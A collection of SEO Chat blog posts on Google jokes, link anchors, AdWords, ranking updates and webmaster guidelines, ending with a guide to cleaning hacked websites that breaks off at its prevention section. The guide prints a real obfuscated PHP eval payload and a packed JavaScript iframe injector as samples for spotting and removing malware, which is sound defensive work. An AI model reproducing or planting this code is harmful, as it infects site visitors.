But it is really only right of me to give Google the same shots. After all, it is at the top and there is no way to resist lobbing up a couple of rotten tomatoes to hit the big guy in the face. So here are some of the best Google jokes I have seen around the web (ironically found through the same search engine; take that, Bing).

Weird Auto-Complete Results

It isn’t technically a ‘joke’, but there is nothing funnier than some of the bizarre suggestions given by Google auto-complete function. Suggestions like:

• Can I get pregnant from a dog?
• What happens if you put self-raising flour on an orphan?
• What If Your Knees Bent the Other Way
• Where is Chuck Norris?
• What would a chair look like if your knees bent the other way?
• Do ginger people have ginger pubes?
• How wrong we were to think immortality meant never dying…

… and many other truly strange, often disgusting but always funny suggestions from Google’s search engine. But want to know what is truly hilarious about these? They had to have been asked often enough to seem to Google like a frequently asked question or common phrase. Apparently a lot of girls are afraid of their dogs getting them pregnant. Just let that soak in for a second.

Life Before Google: A Short Story

I love Shoebox, an excellent comic series about a dog and a bunny. This is probably my favorite, because it is something I have thought about a lot. I am old enough to remember well the days before Google. When we had to look at actual maps or in the phone books. When if we knew a lyrics from a song, but not what the song was, we were just out of luck unless we happened to hear it again somewhere. It was a life of agony; we didn’t know it, but we were the walking dead.

Now Google has come and swept away that misery. Never again will we spend hours trying to remember where that one half-recalled quote came from. Just a few seconds of typing and we will know that it was from a Christmas themed episode of Wings. Hell, we can even see who was working on crew when they filmed it.

Yes, life is sweet.

One Does Not Simply…

Google Maps can give you some amazing directions, and I have always preferred it over programs like MapQuest. But one way that they are superior is in their handling of sage advice. Such as how one does not simply walk into Mordor.

Related question: Has anyone else ever wondered why Gandalf didn’t just fly an eagle to Mount Doom and drop the ring into the fires there himself? He could have Google Mapped the route.

Pearls Before Swine: Praise Google

Google is pretty much our Internet overlord and master at this point. If that is not yet the case, it will be. Clearly, we are a society that cannot live without the sweet, sweet embrace of their many varied services. Seriously, when was the last time you went a whole day without using a single program offered by Google? If you had a single day in the last several years you could claim this, you are a liar. Or a time traveler. Though I bet even time travel in the future will be handled by either Google or Apple.

This cute little strip from the comic Pearls Before Swine talks about the supremacy of Google. It would seem that one little ram doesn’t know his place.

The IT Crowd

Anyone who has not seen the British sitcom The IT Crowd needs to do so now. I mean it, don’t even finish this article. Just go to Netflix and marathon the series until your eyes bleed and you can’t walk straight. It will be totally worth it, trust me.

For those of you who are fortunate enough to have watched this gem of a show, I bring you a nostalgic clip of our dear Jen. She is head of the IT department, and she is desperate to warn her fellow department heads of the danger of breaking the internet.

Protip: Never type “Google” into Google.

Do you know of a good Google joke? Let us know in the comments!

Image Credits: 1, 2.

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Ann Smarty

Community Manager at Internet Marketing Ninjas

Ann Smarty is the pro blogger and guest blogger, social media enthusiast.

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The post Best Google Jokes appeared first on SEO Chat.

I see many people getting confused when you are talking about name anchors… “Is this what we need to build links for?”… Ugh, no.

The two are used for different functions entirely, and they have different tags used to make them.

Link Anchor Text

The simplest way to explain that: anchor text = visible text of the link

For example, let’s say you were speaking about Google’s search engine. In the post itself, you might mention that Google has been offering lots of cool user tools

Notice how I have anchored the link into the text speaking about Google. Clicking on that link will take you top their website. This is the same process used by people who want to connect articles together. So they would anchor a link to relevant text speaking about another post on the same blog, or page on the site.

<a href=”http://URL.com”>Anchor Text Used Here</a>

Google: Link anchor text is believed to be the most powerful SEO element. Read more about that here.

Linking to Anchor

When people adapt books, scientific studies, research papers, tutorials, or any other kind of wall-of-text style page, they will create different anchor points within it to make navigation simpler for the reader.

Name anchor allows you to point the reader to a specific part of the page…

<a name=”Section Title”></a>

Next, create the link pointing to that name anchor. This will use the standard link code, but will feature an ‘#’ before the anchor to signify that it is pointing to a section within the same page. It will look like:

<a href=”#Section Title”>Text</a>.

Google: This link may be picked up and used by Google to form the search snippet to point the user to a specific part of your web page:

Conclusion

Most of us have to do it on a regular basis; it’s the terminology that can be misleading!

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Ann Smarty

Community Manager at Internet Marketing Ninjas

Ann Smarty is the pro blogger and guest blogger, social media enthusiast.

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The post SEO Terminology: Link Anchor Text Versus Linking to Name Anchor appeared first on SEO Chat.

They have their hand in social media and networking, shopping, travel, academia…really, you would be hard pressed to find anything online they have not been involved with in some way, directly or indirectly.

It is easy to look at them as our Digital Masters and forget the more humble roots that they sprang from. Here are a couple of ‘firsts’ from the company that has grown into a powerhouse.

First Indexed Page

Google’s crawlers had to start from somewhere. The starting point was actually Larry Page’s own Standford page, which he released the first bot to. It indexed the page and moved on, creating the massive database we use today.

First Home Page

In 1996, Google was launched as a Standford web page, rather than as its own site. That was its first incarnation, which lasted for a year as it slowly gained steam and eventually its founders thought it was time it got its own place. That was in 1997, where it became Google.com.

What is interesting is that during this time, it was labeled as ‘Beta’ for the first time, and available for widespread use. So in a way, it has had two first home pages.

First Logo

Google didn’t have an official logo until 1997, when it was moved to its own site. The original was created by co-founder Sergey Brinn, who made the colorful image we know today using GIMP. It would always remain in this general incarnation, including the same colors minus a slight change from orange to yellow on the second ‘O’.

First Investor

It is well known that Brinn and Page did not have a lot of luck catching the attention of investors in the beginning. But they did manage to turn one head, and it landed them their first $100,000. That initial investor was Sun Microsystem’s founder Andy Bechtolsheim, who will forever be credited with having helped the biggest online company in the world take their first steps.

Fun fact: Google was not incorporated when he invested. But the check said Google Inc., so the duo decided they should probably make the title official.

First Employee

Other than the founders themselves, the first person to work for the company was Craig Silverstein, a PhD candidate in Computer Science at Stanford University. He left the company in 2012, having played a major role in the company and products overall development. Without him, you can be sure Google would not be the success it is todat.

Silverstein now works for Khan University.

Have any firsts for Google that you think are especially important or interesting? Let us know in the comments!

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Ann Smarty

Community Manager at Internet Marketing Ninjas

Ann Smarty is the pro blogger and guest blogger, social media enthusiast.

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You can read all about the new features straight from the horse’s mouth in a Google blog post. The whole idea behind enhanced campaigns is to reach users with ads that are appropriate to their time of day, location, and the capabilities of the device they happen to be using. For example, as the blog post notes, if you run a pizza restaurant and want to reach users, you might want to deliver one kind of ad to the person searching for “pizza” at one in the afternoon on their desktop at work (with a link to a menu or an order form, maybe), and another ad to someone searching for “pizza” at eight in the evening on their smartphone and about a half-mile from the restaurant (how about a click-to-call phone number and a restaurant locator?).

With Google AdWords enhanced campaigns, you’ll be able to manage these different kinds of ads all from one place, and with one campaign. “Enhanced campaigns help you reach people with the right ads, based on their context like location, time of day and device type, across all devices without having to set up and manage several separate campaigns,” Google notes. And you can adjust your bids accordingly – by bidding higher or lower based on how far away someone is, what time of day they’re searching, and on what kind of device they’re searching. “These bid adjustments can apply to all ads and all keywords in a single campaign,” Google explains. Keep that last point in mind – because it’s the root of one of the criticisms leveled at enhanced campaigns.

Pamela Parker, writing for Search Engine Land, does a great job covering the reaction to Google’s enhanced campaigns. Many advertisers like the fact that they won’t have to run multiple separate, parallel campaigns to manage these different ad contexts, as they have had to up until now. Others praised the new reporting features, that give greater and finer details to help measure the new conversion types. Parker notes that brick-and-mortar businesses, especially, will benefit from the location-specific and time-specific features of enhanced campaigns – so you can bid higher for customers physically closer to your establishment, for example or include a click-to-call phone number only during the hours that your business is open.

Unfortunately, while AdWords enhanced campaigns may make it easier for certain kinds of advertisers to run the sorts of ads that will increase their traffic, for others, it just might be a disaster. Surprisingly, for certain things, it’s not granular enough. Neil Sorenson does a great job taking apart the issue here. Enhanced campaigns groups tablets and desktops together – and for the sophisticated advertisers who have used AdWords’s device targeting features, that’s actually a major step backwards.

According to Sorenson, tablets and desktops do not convert the same way at all – to the extent that it makes no sense to group them into the same category. He noted that one of his clients boasted a conversion rate on mobile devices that was 20 percent better than their desktop rate. The client’s conversion rate on tablets, however, was 70 percent WORSE than the desktop rate! But with enhanced campaigns, the tablet/desktop is the “default” bid, and the mobile device bid is a multiplier of that bid. As Parker notes in her piece, “There’s no way to conduct a mobile-only campaign.”

Sorenson, for his part, would like to see much finer-grained control, with the ability to aim ads by type of tablet, distinguishing between iPads and Android tablets. His company sells accessories for iPhones, Android devices, iPads, and similar devices. In the year after his firm implemented device-specific campaigns on AdWords, their mobile conversion rates improved by a third, and their tablet conversion rates more than doubled. To no one’s surprise, they found that “ads targeted directly to users, while they were on their iPads, pitching iPad accessories were successful!” While Sorenson acknowledges that his business is an extreme example, he knows no one who has implemented device-specific campaigns that would agree with Google’s assessment that desktops and tablets convert similarly.

That’s not even the only issue with lumping desktops and tablets together for enhanced campaigns. Tablets are more mobile than desktops or even laptops. You may not want to show the same ad, with the same interactive features and links, to someone searching on a desktop computer as you would to someone on a tablet. Enhanced campaigns doesn’t seem to give you a choice in the matter.

Let’s finally touch on a point I mentioned earlier: that bid adjustments can apply to all ads and all keywords in a single campaign. Sorenson notes that this replaces the kind of device targeting he’s been able to do up until now. So now he can modify bids specifically for mobile devices, but only at the campaign level. “That feels a lot like giving a Band-Aid to a heart surgeon and wishing the patient a successful triple bypass,” he sarcastically observes. “What are we going to do with bid modifiers at the campaign level when actual bids are calculated at the keyword level? Workarounds? Tricks and tips to get back what we currently have? Ugh.” He doesn’t think that improving the experience for local advertisers should have to come at the cost of power advertisers losing valuable capabilities.

This, of course, is the root of the complaints from advertisers about enhanced campaigns: the loss of control, and valuable features that helped advertisers manage how and where their ads were displayed. Jeremy Hull, director of search at iProspect, observed that “This is an example of Google deciding what is best for the advertiser.” To be fair, he praised some of the other new features. But if his comments – and those of many other advertisers – are any indication, Google will get a fair bit of push-back on these “enhancements” to AdWords.

Have you tried out AdWords enhanced campaigns yet? What do you think of the changes? We’d love to hear your opinion.

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Terri

The post Google Rolls Out Enhanced Campaigns for AdWords appeared first on SEO Chat.

First, remember that Google’s algorithm updates are designed to fix what it sees as attempts to manipulate your standing in the SERPs. The search engine tries to deliver the most relevant results to searchers, and as we all know, it uses links (among many other factors) to signal relevance. So if a website links to your site with “dog training school” as the anchor text, Google figures that it thinks your website is relevant to that search.

But Penguin seems to be changing that. According to Pratik Dholakiya, writing for Search Engine Journal, Google is starting to think that anchor text is “too easily manipulated.” As he explains it, “A link with highly optimized anchor text simply doesn’t look natural. It means there’s a much higher chance you had direct control over the creation of that link. If most your links have optimized anchor text, it probably means you built most of them yourself.”

Google does not want to see links you’ve built yourself. It wants to see links that other people built to your website because they believe the content is so interesting and so compelling that they want to share it with their friends. In other words, it wants to see natural links – and someone giving you a natural link, in many cases, won’t include any special anchor text in it. At best, they’ll add the bare link (which is another reason you should set up your headlines and pages so that they include keywords, but I digress).

Dholakiya goes on to discuss co-citations, which he and a number of others believe Google will be giving more weight to than anchor text in the near future – assuming the search engine isn’t already doing this. Co-citations are a little more complicated to understand than simple links, though they have a long academic history. Let me see if I can show you how these would function on the web by using a fictitious but true-to-life example

Say you’re writing a blog post on the best strategies for enriching your soil for the upcoming gardening season. You have a local readership, and you really want to encourage them to get out and do the work themselves. You know some of them may already compost, but others are just getting into the game, and still others will be starting “fresh,” so they need sources of good, pre-composted material. As you’re talking about options in your blog post, you provide a short summary of how to compost, and link to a fuller description. You also link to websites for your local agricultural cooperative extension, which offers free compost; a local mushroom farm which sells cheap compost; a company that provides a kit with special worms that consume household trash and turn it into compost; and a calendar page for your local library listing the date and time of a talk one of the area gardening experts will be giving, which you know will cover composting.

All of those links you’re making in your blog post are co-citations. Since you are citing all of these sources in one article, Google will look at them and assume that they are all relevant to each other. Within the context of your article, they certainly ARE all relevant to your topic, right?

The key point from Google’s point of view is that co-citations are much harder to manipulate than anchor text for links. Think about it. It’s one thing to write an article and get a link back to your website for it. It’s another thing to cite several others in the same article – some of whom are probably competitors. Indeed, why should Google pay attention to you in an article in which you’ve linked to yourself along with several others?

Google is paying attention to industry influencers – that well-known gardening expert with a blog, for instance. As Dholakiya notes, “you cannot manipulate the industry influencers who make your co-citations possible. They only promote the content that they feel is best to share with their readers.”

So how do you get on the radar of these industry influencers to get co-citations? Go back and read my headline. Dholakiya explains that “You cannot have great co-citations unless you have actionable content which people love to read and share.” A lot can and has been written about how to write killer content, but Dholakiya offers three tips: stay up to date on the trends in your niche; produce original content on your subject that hasn’t been thoroughly covered by others; and create content that, one way or another, makes waves in your industry such that it influences the direction of posts made later.

Isn’t it funny that I started by talking about Google’s Penguin algorithm/filter, which focuses on links, and ended up talking about content, which is supposed to related more to the search engine’s Panda algorithm/filter? Yes and no. If you’ve been doing SEO or running a website for any length of time, you know that killer content leads to links. That’s the way it’s supposed to be, and that’s the way Google hopes to encourage it to be. There are no lasting SEO shortcuts. Just do it right the first time, by writing the best content you can. Good luck!

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Terri

The post Co-Citations: Another Reason to Write Killer Content appeared first on SEO Chat.

Make no mistake, it’s vastly different from what Google claimed it would be. Just ask anyone who studies their Google Analytics data. When a signed-in user performs a Google search, the search engine encrypts the data; the search shows up in GA as “not provided” rather than a search for a particular keyword. If the number of “not provided” searches grows too high, SEOs and marketers can no longer tell what effect, if any, their marketing efforts are achieving. For many websites, the data – or lack of it – reached that level months ago.

Barry Schwartz writing for Search Engine Land cited a study conducted over eleven months by Optify. Covering 424 websites, 17,143,603 visits and 7,241,093 referring keywords, the percentage of “not provided” keywords has risen alarmingly. According to the study, Google withheld 39 percent of search terms – that’s one out of every 2.5 visits!

That’s not even the worst news. The study noted that about 13 percent of companies see “not provided” rates as high as 60 percent. Can you imagine if all you knew about more than half of your visitors was that they found you in Google, but you had no idea for which terms? Sadly, I know a number of you don’t need to imagine it, because it’s your current reality.

Why are the numbers so much greater than Google originally said they would be? Danny Sullivan offered some suggestions. He notes that “as Google has continued to grow its Google+ social network, it has encouraged people sign-in as much as it can…All those signed-in searches have keywords withheld.” Also, in July, Firefox started using Google SSL Search by default – whether or not users were actually signed in to a Google service. “Overnight, a huge chunk of search terms got withheld,” Sullivan observed. Two months later, Apple copied Firefox’s move for searchers using Safari in iOS 6.

Perhaps one of the more interesting points about the “not provided” data is that the percentages aren’t consistent. Some websites are seeing a very small percentage of visits where Google is withholding keyword information, while others are seeing nearly all of their keyword information withheld. What is responsible for this vast difference?

Matt O’Toole at Analytics SEO offers up a tantalizing theory. He studied data for several hundred websites being monitored by his company over the past year, and found an overall “not provided” average of more than 20 percent by September 2012. This reflected steady growth from an initial three percent “not provided” during the first couple of weeks after Google began encrypting data. But not all websites came close to that percentage. One website showed consistently low “not provided” traffic all year long, at around one tenth of one percent. Another website showed a peak of “not provided” traffic around 98.4 percent!

Could these outliers provide clues as to what kinds of sites might naturally see low or high “not provided” percentages? O’Toole thought the demographics data might be telling. He found that the website with the low “not provided” rate featured a user base of males aged 45 to 64 years. The one with the high “not provided” rate, on the other hand, appealed to females aged 25 to 44 years. This led him to ask “whether there were certain demographics more likely to be logged into Google+/GMail and therefore more likely to be contributing to your site’s Not Provided traffic?” Sure enough, looking at the demographic data for Gmail, he found that a high percentage of its users were both males and females between the ages of 18 and 34.

O’Toole suggested that marketers might be able to use this knowledge in their efforts going forward. “For instance, were your site to be below the norm in terms of Not Provided averages, you could assume that your userbase might be less likely to have Google+/Gmail accounts and therefore less likely to take any notice of the work you planned to do on your client’s Google+ page,” he observed.

What else can you do if you’re facing this kind of data blackout? You need to use the information that Google hasn’t encrypted. Look at the landing pages for your “not provided” traffic, and consider what’s making them so attractive. Use the keyword data that you DO have. And try to avoid making the wrong assumptions. Sadly, it looks like “Not Provided” isn’t going away any time soon, so you need to make the best of the situation. Good luck!

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Terri

The post One Year of Not Provided Google Data appeared first on SEO Chat.

At Matt Cutts emphasized in a nine-minute video, this is an advanced tool, and should not be used unless you’re absolutely certain that spammy links sit at the root of your rankings problems. I lost track of how many times he reiterated this point, and stated that your typical site owner won’t need to use it – in fact, only those who are really comfortable with the technical aspects of their site should even consider using it.

In fact, what I got from the video is that this tool is not intended to help websites recover from Penguin. Rather, it’s meant to be used by those who have actually received warnings from Google via their Webmaster Tools account that the search engine has detected links it considers unnatural. Refreshingly, Cutts stated that Google will start including in these messages examples – up to three, perhaps – of links to your site that it considers “unnatural.” It won’t be an exhaustive list, of course, but at least now you’ll have a clue of where to start and what to look for.

Google intends for you to use the disavow links tool after you’ve received a manual notification and tried to remove as many of your spammy links as possible. You may reach that point pretty quickly, by the way. In a recent SEO Chat thread on the subject, forum member Dr.Marie noted her own experience helping her clients remove bad links: “on average I get 15-20% of [bad] links removed using extensive email/contact form outreach. For some reinclusion requests that is enough, but for others it is not.”

So how exactly does this tool work? First, you need to have admin status for your website in Google Webmaster Tools to use it; this should help avoid a lot of potential abuse. If you own multiple websites for which you’re using GMT, pick a site, then go to the tool. You’ll get a warning screen that states “This is an advanced feature and should only be used with caution. If used incorrectly, this feature can potentially harm your site’s performance in Google’s search results. We recommend that you only disavow backlinks if you believe you have a considerable number of spammy, artificial, or low-quality links pointing to your site, and if you are confident that the links are causing issues for you.”

Next, you’ll need to upload a text file that contains ONLY the links you want to disavow, one per line. You can use the hash tag indicator (#) in front of a line to “comment it out” if you want to add notes for yourself that explain what you’re doing and why. SEO Round Table gives a fuller description of the procedure.

So how long after you’ve submitted a disavow links request will it take for Google to update your site’s standing? According to Cutts, it could take weeks, because they will need to completely recrawl your site and check those links. You see, you can tell Google to disavow the links, but the search engine sees this as a “strong suggestion” and will come to its own conclusions as to whether it agrees with you that those links should not be a factor in your standing in the SERPs.

Incidentally, this is part of the reason Google considers disavow links to be an advanced tool; it’s far too easy, if you’re not extremely careful, to accidentally disavow a link you wanted to keep. You can go back to your text document, update it, and upload it again if you’ve made a mistake, but according to Cutts, it will take even longer to fix these errors.

Responses to the tool have been mixed. Some SEOs seem to think it might be the best thing since sliced bread. Others, however, see a Google conspiracy. Barry Schwartz, for instance, describes it as “the best spam reporting tool Google has launched to day. Suffering webmasters point fingers at their competitors and friends and blame them for poor rankings, which Google can use.”

Schwartz is hardly the only one who’s suspicious of Google’s motives in launching this tool. On the other hand, with Bing launching its own disavow links tool at the end of June this year, Google may have felt pushed into offering something equivalent to help it stay competitive. Either way, you now possess a new tool in your arsenal to help you recover from certain kinds of issues in ranking your website. Do you think you’ll ever use it? Feel free to answer in the comments section. 

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Terri

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Google’s late September modification brought many site owners up short because it targeted something Google hadn’t yet attacked: exact match domains. Danny Sullivan provides a thoughtful and extensive review of it over at Search Engine Land. He believes this EMD update will become a regular filter, much like Panda, and eventually be updated every month.

To understand what the EMD update did, you need to understand that Google has historically given a boost – albeit a very small boost – to websites whose domain names exactly match the query performed by a search. So “cheapwidgets.com” might show up at or near the top of the search results for the query “cheap widgets.” The cheapwidgets.com website still needed to deliver some kind of content, mind you, but with an exact match domain it could, conceivably, beat out other websites with better content whose domains didn’t exactly match the keyword.

Google created the EMD update to address this issue. It’s important to note that not all EMDs suffered from this update; indeed, some actually went up in the rankings. Why the difference? Sullivan notes that “plenty of people have purchased exact match domains in  hopes of a ranking boost and have also put in the time and effort to populate these sites with quality content…EMD domains aren’t being targeted; EMD domains with bad content are.”

On SEO Chat, you can find a number of threads discussing the EMD update; here’s one of the longest. It’s been tricky trying to figure out what’s going on – and for a good reason. Google released its EMD update on September 28. But the search giant did a thorough update of its Panda  filter on September 27.

This Panda update wasn’t simply a case of Google pouring websites through its Panda filter. As Barry Schwartz explained, “This is a fairly major Panda update that impacts 2.4% of English search queries” and took several days to roll out fully. For the record, this was the twentieth Panda update since Google first began using the filter back in February 2011. This particular update affects a greater percentage of queries than any other Panda update since at least October of last year.

Why did Google roll out both of these updates at nearly the same time? Sullivan pointed out that both Panda and the EMD update target websites with thin or bad content. Apparently, Panda didn’t flush out EMDs with poor content well enough to satisfy the search engine, so now “Google pours all the sites it knows about through a Panda strainer. After that, it pours what didn’t get caught in that strainer through the EMD filter,” Sullivan theorizes.

As if getting a double whammy from EMD and Panda wasn’t bad enough, Google compounded an already-confusing situation for site owners and SEOs by unleashing a Penguin update on October 5. Matt McGee reported on this for Search Engine Land. The Penguin filter, you may recall, targets websites with lots of low-quality links. It went active in April of this year; Google updated it a month later, and seems to have left it alone after that – until now.

Google’s head of webspam Matt Cutts tweeted that this Penguin update would affect 0.3% of English-language queries “to a noticeable degree.” What is a noticeable effect? According to this Twitter conversation between Cutts and UK SEO Rob Watts, it refers to changes that occur “above the fold.” A searcher might not notice if the result in position 10 on page 1 is swapped out for a different result – but if the first five results change, it’s a different story.

With three different updates going live on Google over the course of two weeks, what’s a site owner to do? How can an SEO sort out why any particular website took a plunge in the SERPs? Some SEOs seem to think that this is part of Google’s game – spread confusion and keep everyone guessing, so site builders will simply fall back on creating great content and other white hat practices. To be honest, many of those who have continued to build their sites along those lines have at least maintained their rankings, or even seen them improve as their competitors’ standings took a nosedive. It’s something to think about, anyway. Good luck!

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Terri

The post Google EMD, Panda, Penguin Filters Hit At Same Time appeared first on SEO Chat.

You can check out the official announcement in Google’s webmaster blog; the new set of guidelines is also easy to locate. I’m mildly disappointed that Google didn’t set this up with a little bit of AJAX. So many of the items listed under the quality guidelines link elsewhere; it would have been nice to click that link and just have the page scroll down to read that item.

“Both our basic quality guidelines and many of our more specific article (like those on links schemes or hidden text) have been reorganized and expanded to provide you with more information about how to create quality websites for both users and Google,” the search engine notes in the blog entry. In addition to more guidance on the kind of practices you need to avoid on your website, Google has “also added a set of quality and technical guidelines for rich snippets, as structured markup is becoming increasingly popular.”

The rich snippets news in particular sounds great, since figuring out how to get good versions of this to appear in search results still baffles many site owners (and not a few SEOs). One commenter to the blog post, though, was disappointed to note that the documentation did not include a single word about Schema.org markup.

Google’s basic explanation of rich snippets recommends using one of three different markup formats – Microdata, Microformats, and RDFa – to highlight your content types in ways that the search engine can understand. It can read rich snippets for reviews; people; products; businesses and organizations; recipes; events; and music. Google can even recognize markup for video content, and offers a rich snippets testing tool you can use to make sure the search giant can read and extract your data.

Indeed, Google recommends that you use this tool in its more advanced rich snippets guidelines. This set of guidelines also links to an extensive troubleshooting page you can use if your marked-up data appears in the tool but is not appearing in the search engine after a few weeks. Among its design and quality guidelines, Google notes that rich snippets must contain up-to-date information (“We won’t show a rich snippet for time-sensitive content that is no longer relevant”) and be of original content that is fully contained on the page (“We won’t show a rich snippet for content that is linked or alluded to but not directly available on a page”).

Google’s updated section on link schemes offers more extensive and explicit information – and lists more infractions. Excessive link exchanging (“Link to me and I’ll link to you”) is now on a list of “link schemes which can negatively impact a site’s ranking in search results.” If you ever needed an indication that too many reciprocal links is not a good idea, here it is. Other examples of what Google calls unnatural links that violate its guidelines include widely distributed links in the footers of various sites, and forum comments with optimized links in the post or signature. It’s official: forum signatures are worthless.

I only have one thing to say about Google’s updated guidelines for hidden text and links. It doesn’t matter what clever way you may have thought of to hide such things as excessive keywords; Google is aware of it. However, Google also understands that it’s not all bad. “For example, if your site includes technologies that search engines have difficulty accessing, like JavaScript, images, or Flash files, using descriptive text for these items can improve the accessibility of your site,” the search engine notes. As usual, Google reminds you to consider your visitors, and put their interests first.

But these are hardly the only sections of its Webmaster Guidelines that Google has updated, and I’d recommend you read them all. Indeed, a recent SEO Chat thread examined the implications of the new guidelines for possible doorway pages. Apparently, some pages that may not have been considered doorway pages at one time might be now – and therefore might be subject to penalty.

The short section on doorway pages raised some concern over one of its examples: “Having multiple domain names targeted at specific regions or cities that funnel users to one page.” What really worried the original poster of the thread mentioned above was the statement in this item that “Google may take action on doorway sites and other sites making use of these deceptive practices, including removing these sites from Google’s index.” He’d set up a business website about three years ago to sell products and target specifics locations with long-tail keywords (such as “widgets in Cambridge”). It worked well, but with Google’s updated guidelines, would he now have to rethink his approach?

SEO Chat moderator Darren Haye clued in on one of the other signs of a doorway page that Google listed: “Multiple pages on your site with similar content designed to rank for specific queries like city or state names” and focused on two words: “similar content.” He advised the original poster that he would have to “Use unique content for each page.”

Long-time and deeply respected SEO Chat member EGOL agreed, telling the original poster that he’d have to include not only unique, but substantive, content on every page now. That’s sure to be a major change involving a lot of work, but it will be worth it to keep the site from dropping or getting delisted.

If you haven’t yet read through Google’s updated Webmaster Guidelines, I strongly recommend that you do so. Your future business might depend on it. Good luck!

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Terri

The post Google Updates Webmaster Guidelines appeared first on SEO Chat.

No, your staff didn’t mess up the page or fumble the server, your site was compromised. Through various methods, a hacker has accessed your website, uploaded malicious code and skipped out.

Now, your visitors may get their computers infected and your search engine rankings might be at risk.  So, what do you do? Continue reading; let’s study the psychology and reasoning of such attacks.

What is a site hack? Why does it happen?

This might be a pretty obvious question. Why would somebody install malware or a virus on a website/computer? Ninety percent of the time it’s for financial gain. Ten percent of the time it’s just for the fun of it. What we’re seeing now is a huge increase in scareware. This is a form of malware that tricks you into buying a software to cure the scareware. The majority of people believe the scareware is a real Microsoft virus scanner — when in reality, the "scanner" is the malware acting as scareware.

There could be valuable information on internal networks a hacker might want. They could simply want to spread their malware to as many computers as possible for the purpose of extortion.

So what exactly is a site hack? The answer is simple: somebody accessed and modified code on your website without permission. From my experience, about 99% of the time there is a piece of JavaScript (JS) code that has been added to each index.html/php page.

Once the hacker has access to your website, they will inject this malicious JS code into your files. The code can do a number of things, such as: redirect the user to a different page (usually spam), redirect the website’s PageRank (via links) to the hacker’s site or client’s site, or worse case, the JS code could trigger "drive by" downloading of the malware to infect the website’s visitors’ computers. All of these are bad for business, and bad for your users and your staff.

Possible causes

Let’s face it, even top notch security cannot always protect you. There are backdoors to all web elements, especially if you use a Content Management System (CMS). If you run WordPress, Joomla, SimpleCMS, Magento, or any other open source CMS, there is a strong possibility your site can be compromised with known SQL injections.

The most common access point for a website malware hack is not the website, but the computers on which it was developed and accessed. Assuming all of the software on your website is up to date, and all of your updates/patches are working fine, you will often see user computers that are infected. How does this happen?

A hacker tries to hack a website, but it’s secure, so he skips it and goes to a less secure site. The hacker accesses the website, installs malicious script to enable "drive-by" downloads (the ability for the script to auto-install and run malware). A user who is a webmaster or has access to his website visits the site.  The JS auto loads and runs, then installs the malware copy on the visitor’s computers. 

Remember, our visitor is a webmaster…  Once the webmaster visits the compromised computer, he may see something funny, like a quick flash on a screen, multiple hourglass icons when seemingly idle and an increase in running tasks (on Windows) found in the Task Manager.

Now, the webmaster’s computer has the malware installed on it. It’s not on his website — so what gives?  How does the malware make it to the website?  It’s simple, really…

From this point on, there are no signs that the visitor (or our webmaster) is infected. While the webmaster is working, the malware is working, too – in the background. While the visitor continues their Internet browsing, the malware is scanning known directories for user login details. The malware is looking for – nope, not banking, not PayPal, not Facebook – CoreFTP and FileZilla logins. 

Did you know that most common FTP programs store your passwords in PLAIN TEXT? That means once the malware finds the common directories and locations of stored passwords, the nasty software sends that information to the hacker. Now, the hacker has access to your website to regenerate his malware and redistribute on your website.

How to fix/clean

Cleaning out malware can be a difficult, stressful and time-consuming task.  If you’re not too familiar with code, and don’t know what is supposed to "look right" on your website, you might want to call a professional. However, assuming you’re comfortable, there are a few areas you should look into.

The first step is cleaning. You must first flush your system clean of the virus and malware before you attempt a fix. Fixing your website before a program scan and clean will only repeat the cycle, and you will always play catch up. Below is a list of what should be done in an orderly fashion:

• Report the incident to your hosting provider and/or IT staff.
  
  
• Scan all computers that have access to your website. We mean ALL computers.
  
  
• Run multiple scanning tools. Personally, I suggest the following:  Malware Bytes, SpyBot Search and Destroy, ComboFix and Microsoft Security Essentials. Remember: update your virus scanner before all scans.
  
  
• Scan your startup directory. In Windows, go to Run>msconfig and scan each item.
  
  
• Through your Registry Editor (Windows), scroll through each "Run" entries to look for suspicious items.
  
  
• Change ALL passwords associated with your website, CMS admin sections, FTP, MySQL, control panels, EVERYTHING.
  
  
• Download all of your files from your website (for review and analyzing the hacked code).
   

If you have a backup of your website, now is the time to restore. If you do not have one, ask to see if your hosting company has one. If you don’t, you will have to manually go through lines of code. Don’t worry; it’s more time consuming than challenging.
 
You don’t have a backup of your website? Don’t panic; there is the manual way to remove these links.  It’s going to take time, and a lot of finding.

The most logical thing to do would be to download your entire FTP and simply sort the files by the date they were modified. Obviously, the compromised files would have been accessed last. Typically, I’ve seen only index.php files been hit. When you scan the code, you want to look for weird encrypted JS on the very top or very bottom of the code. Here’s a sample from one recent malware (this is a real example):

Encrypted:
<?php $fyw_jmzlq = array("eNqtWgl32siy/iuMT05sXjyOWg","ugccjFjsHGsWDAgIGZHA4I2SzC","cFjCku…REMOVED-URL…/04U8HHmkbE78MhDn","9VASffpah4/LLvGfj/8PWGX41A","==");eval("x65x76x61x6Cx28x67x7Ax75x6E…removed…x29x29x29x29x3B");?

JS:
<sc ript>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?”:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,'g’),k[c])}}return p}(‘i 9(){a=6.h(‘b’);7(!a){5 0=6.j(‘k’);6.g.l(0);0.n=’b';0.4.d=’8′;0.4.c=’8′;0.4.e=’f';0.m=’w://z.o.B/C.D?t=E’}}5 2=A.x.q();7(((2.3("p")!=-1&&2.3("r")==-1&&2.3("s")==-1))&&2.3("v")!=-1){5 t=u("9()",y)}’,41,41,’el||ua|indexOf|style|var|document|if|1px|MakeFrameEx|element|yahoo_api|height| width|display|none|body|getElementById|function|createElement|iframe|appendChild|src|id|nl|msie| toLowerCase|opera|webtv||setTimeout|windows|http|userAgent|1000|juyfdjhdjdgh|navigator|ai| showthread|php|72241732′.split(‘|’),0,{}))
</sc ript>

As you can see, from the above real world example, these malicious codes are usually pretty easy to spot if you know what you’re looking for. If you’re proceeding with a manual remove, you will need to manually review and edit every file infected with the above code. Simply removing the code from the file and re-uploading will cure this problem. Please make sure to double check all files both by visually scanning, and then by sorting all of them by modified date — to ensure you captured all compromised files.

The problem is not solved yet. Assuming your website was hit with malware, you should review your Google/Bing Webmaster Tools to verify that you fixed any problems Goolge/Bing found. Usually, this is simply done with a response to a notification or a reconsideration request. Google is very good at restoring rankings once a problem is fixed. You should allow 7-14 days for this to fully process.

Prevention

Depending on the size of your site and compromise, a situation like this could put your website offline for days, if not weeks — costing you business and visitors. So, what can be done to not be one of the victims? Here are a few good ideas.

